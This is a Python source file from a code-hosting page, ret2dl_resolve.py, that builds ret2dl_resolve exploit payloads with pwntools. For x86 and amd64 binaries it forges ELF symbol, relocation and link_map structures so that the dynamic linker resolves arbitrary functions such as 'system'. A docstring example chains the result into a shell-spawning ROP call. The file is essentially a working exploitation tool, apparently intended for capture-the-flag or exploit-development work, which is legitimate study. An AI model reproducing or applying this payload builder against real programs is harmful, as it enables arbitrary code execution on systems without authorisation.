-
Notifications
You must be signed in to change notification settings - Fork 2
/
ret2dl_resolve.py
151 lines (133 loc) · 6.1 KB
/
ret2dl_resolve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#coding:utf-8
import os
import sys
import struct
import pwn
""" typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;"""
"""typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;"""
def x86(elf, func_name, start, size, target, max_veridx=0x40):
"""
x86(elf, func_name, start, end, target=0) -> int, arr
construct x86 ret2dl_resolve payload (directly resolve function)
Arguments:
elf: elf object generated by ELF("file_name")
func_name: name of the fuction want to call. such as "system"
start: start address of controlable memory space
len: length of controlable memory space
target: address where the function's address write to. needed to be writable
max_veridx: used to constrain the version's ndx. (RTFS for more infomation)
Returns:
A: reloc_arg. push to the stack before jump to plt[0]
B: an array of payload. (paylod looks like: ['payload info', payload's addr, payload]).
normally only one payload is ok. sometimes need another payload to by pass verion's
index check
"""
res = []
res_all_in_one = ""
end = start + size
syment = elf.dynamic_value_by_tag('DT_SYMENT')
if syment != 16:
print("[x86] syment != 16, maybe not x86")
return
sec_jmprel = elf.dynamic_value_by_tag('DT_JMPREL')
# relent = elf.dynamic_value_by_tag('DT_RELENT')
sec_symtab = elf.dynamic_value_by_tag('DT_SYMTAB')
sec_strtab = elf.dynamic_value_by_tag('DT_STRTAB')
sec_versym = elf.dynamic_value_by_tag("DT_VERSYM")#version
reloc_arg = 0
sym_ver_idx = 0
string_idx = 0
#calc possible symbol struct's indexs
sym_idx_start = (start - sec_symtab + 0xf)/0x10
sym_idx_end = (end-0x10-(len(func_name)+1)-0x10 - sec_symtab)/0x10
sym_idx_range = [sym_idx_start, sym_idx_end]
# calc the sym_ver_idx
veridx_needed = False # Whether need construct ver idx
for ver_idx in range(sym_idx_range[0], sym_idx_range[1]):
ver_addr = sec_versym + ver_idx * 2
if (ver_addr >= start) and (ver_addr < end):
sym_ver_idx = ver_idx
veridx_needed = True
print("need to construct ver idx")
res.append(["veridx", sec_versym + ver_idx*2, "\0\0"])
break
tmp = struct.unpack("<H", elf.read(ver_addr, 2))[0]
# print(ver_idx, hex(ver_addr), tmp)
if (tmp < max_veridx):
sym_ver_idx = ver_idx
break
if sym_ver_idx == 0:
print("[x86] fail to find a satisfied sym_ver_idx, try enlarge max_veridx")
return
string_idx = sec_symtab + sym_ver_idx*0x10 + 0x10 + 8 - sec_strtab
print("string", hex(string_idx), hex(sec_strtab + string_idx))
# res.append(["string", sec_strtab + string_idx, func_name+"\0"])
symbol = struct.pack("<IIIBBH", string_idx, 0, 0, 0x12, 0, 0)
print("symbol", hex(sym_ver_idx), hex(sec_symtab+sym_ver_idx*0x10), symbol)
# res.append(["symbol", sec_symtab+sym_ver_idx*0x10, symbol])
reloc = struct.pack("<I", target)+struct.pack("<I", (sym_ver_idx << 8) | 0x07)
reloc_arg = (sec_symtab+sym_ver_idx*0x10+0x10 - sec_jmprel)
print("reloc", hex(reloc_arg), hex(sec_jmprel+reloc_arg), reloc)
res.append(["symbo+reloc+func_name", hex(sec_symtab+sym_ver_idx*0x10), symbol+reloc+func_name+"\0"])
return reloc_arg, res
# typedef struct
# {
# Elf64_Addr r_offset; /* Address */
# Elf64_Xword r_info; /* Relocation type and symbol index */
# } Elf64_Rel;
# typedef struct
# {
# Elf64_Word st_name; /* Symbol name (string tbl index) */
# unsigned char st_info; /* Symbol type and binding */
# unsigned char st_other; /* Symbol visibility */
# Elf64_Section st_shndx; /* Section index */
# Elf64_Addr st_value; /* Symbol value */
# Elf64_Xword st_size; /* Symbol size */
# } Elf64_Sym; // 0x18
def amd64_offset(pointer_addr, addr_offset, ctrl_offset, ptr_writeable_offset, debug=False):
"""
amd64_offset(pointer_addr, addr_offset, ctrl_offset, ptr_writeable_offset) -> bytes
construct payload for amd64 ret2dl_resolve attack. (calc function's addr by offset)
Arguments:
pointer_addr: an address of a pointer points to libc
addr_offset: the offset between the target function and the pointer
ctrl_offset: the offset between the start of controlable memory space
and the pointer_addr
ptr_writeable_offset: the offset between the pointer(not the address of the pointer!!!) and
some writeable address (bypass write back in _dl_fixup)
Returns:
A: payload (write to (pointer_addr+ctrl_offset))
Examples:
p1 = pf.ret2dl_resolve.amd64_offset(0x601028, 150608, 0x28, 0x3a38c0)
p2 = flat(padding, pop_rdi_ret, binsh_addr, plt_0+8, fake_linkmap_addr, 0, main)
"""
if ctrl_offset > 0x68:
puts("[amd64_offset] control offset is too big, try another pointer")
return
dynamic_entry_offset = 0x80
link_map = pwn.fit({
0x68: pointer_addr + dynamic_entry_offset, # dynamic entry's addr for STRTAB
0x70: pointer_addr + dynamic_entry_offset, # dynamic entry's addr for SYMTAB
0xf8: pointer_addr + dynamic_entry_offset, # dynamic entry's addr for JMPREL
dynamic_entry_offset: struct.pack("<QQ", 0, pointer_addr+dynamic_entry_offset+0x10),
dynamic_entry_offset+0x10: struct.pack("<QQ", ptr_writeable_offset, (1 << 32) | 0x07), # Elf64_Rel
dynamic_entry_offset+0x10+0x18: struct.pack('<IBBHqq', 0, 0, 1, 0, addr_offset, 0), # Elf64_Sym
}, filler='\0')[ctrl_offset:]
if debug:
print("link map : " + hex(pointer_addr))
print("strtab/symtab/jmprel : " + hex(pointer_addr + dynamic_entry_offset))
print("Elf64_Rel : " + hex(pointer_addr + dynamic_entry_offset + 0x10))
print("Elf64_Sym : " + hex(pointer_addr + dynamic_entry_offset + 0x28))
return link_map